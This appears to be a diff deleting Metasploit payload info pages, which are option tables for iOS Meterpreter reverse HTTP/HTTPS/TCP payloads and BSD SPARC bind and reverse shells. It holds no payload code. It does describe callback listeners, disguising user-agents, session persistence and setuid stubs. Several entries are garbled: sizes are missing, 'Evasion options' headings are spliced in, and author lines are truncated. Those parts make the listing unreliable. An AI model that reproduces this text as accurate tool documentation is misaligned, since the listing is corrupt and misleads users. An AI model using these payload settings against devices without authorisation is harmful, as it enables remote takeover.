Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse HTTPS Inline
|
|
||||||
Module: payload/apple_ios/aarch64/meterpreter_reverse_https
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: aarch64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size
|
|
||||||
Evasion options for payload/apple_ios/aarch64/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
<brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,58 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse TCP Inline
|
|
||||||
Module: payload/apple_ios/aarch64/meterpreter_reverse_tcp
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: aarch64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 796904
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple iOS aarch64 Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/apple_ios/aarch64/shell_reverse_tcp
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: aarch64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 152
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SHELL /bin/sh yes The shell to execute.
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse HTTP Inline
|
|
||||||
Module: payload/apple_ios/armle/meterpreter_reverse_http
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: armle
|
|
||||||
Needs Admin: No
|
|
||||||
Total size
|
|
||||||
Evasion options for payload/apple_ios/armle/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse HTTPS Inline
|
|
||||||
Module: payload/apple_ios/armle/meterpreter_reverse_https
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: armle
|
|
||||||
Needs Admin: No
|
|
||||||
Total size
|
|
||||||
Evasion options for payload/apple_ios/armle/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
k <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,58 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse TCP Inline
|
|
||||||
Module: payload/apple_ios/armle/meterpreter_reverse_tcp
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: armle
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 643824
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run the Meterpreter / Mettle server payload (stageless)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/bsd/sparc/shell_bind_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: sparc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 164
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/bsd/sparc/shell_reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: sparc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 128
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
